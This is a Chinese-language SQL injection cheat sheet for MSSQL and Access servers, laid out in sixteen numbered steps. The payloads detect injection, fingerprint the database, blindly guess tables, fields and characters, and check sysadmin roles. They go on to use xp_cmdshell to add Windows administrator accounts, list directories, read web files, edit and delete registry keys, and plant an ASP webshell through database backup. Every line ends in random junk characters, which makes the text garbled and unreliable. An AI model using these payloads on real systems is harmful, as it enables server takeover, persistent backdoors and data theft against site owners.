1.判断是否有注入;and 1=1 ;and 1=2 ]deO\mB
2.初步判断是否是mssql ;and user>0 @KJmNM1]V
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3.注入参数是字符'and [查询条件] and ''=' s"~,Zzy@j
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' DmZ_tuVI
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5.判断数据库系统 Z/;hbbG
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;and (select count(*) from sysobjects)>0 mssql YB4|J44Y
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;and (select count(*) from msysobjects)>0 access fT=ZiHJ3Gu
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 1yeD-M"w
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ^}kYJvqA
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 3Qp6$m
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9.(1)猜字段的ascii值(access) "*KOU2}C
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9gZS)MZ
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(2)猜字段的ascii值(mssql)
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 -CPLgT
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10.测试权限结构(mssql) @s\}ER3
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- T n,Ifo3
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 xi@5;!
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;^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " j:15m5
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 0%3T'N%
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- k7z{q/]M
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- M|>-q
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;and 1=(select IS_MEMBER('db_owner'));-- ?_/T$b]
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11.添加mssql和系统的帐户 [wJl]i
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;exec master.dbo.sp_addlogin username;-- L/O:V^1
;exec master.dbo.sp_password null,username,password;-- o5NrDDH
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- '9 <APUyu
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;exec master.dbo.xp_cmdshell 'net user username password ' @j8tK
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- uTP4r
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- dJZ
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- jt",\%j
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12.(1)遍历目录 Yc
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;create table dirs(paths varchar(100), id int) D5
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;insert dirs exec master.dbo.xp_dirtree 'c:\' qd?k#Gw&
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;and (select top 1 paths from dirs)>0 a7l-kG=R;
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3)qtz_,H/g
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(2)遍历目录 `LCxxpHi|
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- q
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 dD"o~iEC
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 c-^\YSDMN
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 LP:C9Ol\
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1PJ8O|Zt8
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13.mssql中的存储过程 { sL(PS.z
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xp_regenumvalues 注册表根键, 子键 c~+l|r=u?
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 O486:tF
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xp_regread 根键,子键,键值名 g&"__~dS-F
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;exec xp_regread YkLEK|d
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 u%=M4|7
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xp_regwrite 根键,子键, 值名, 值类型, 值 L7tC?F]}SK
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0UvN ws
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 #:?vpV#i
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xp_regdeletevalue 根键,子键,值名 @OlV6M;qJ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 TY3WP$u
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0g@
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14.mssql的backup创建webshell ?B2 T'}~
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use model *@r)3
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create table cmd(str image);
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insert into cmd(str) values (''); gekW&tRie
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backup database model to disk='c:\l.asp'; lk6*?EJ
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15.mssql内置函数 Yq.Cz:>b
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;and (select @@version)>0 获得Windows的版本号 b<B|p|
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5Y
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;and (select user_name())>0 爆当前系统的连接用户 QUp()B1
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;and (select db_name())>0 得到当前连接的数据库 Oc;0*v[I
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16.简洁的webshell vIrLG1EK
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use model jZcjiOX
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create table cmd(str image); W
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insert into cmd(str) values (''); 3VbQDPG
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backup database model to disk='g:\wwwtest\l.asp';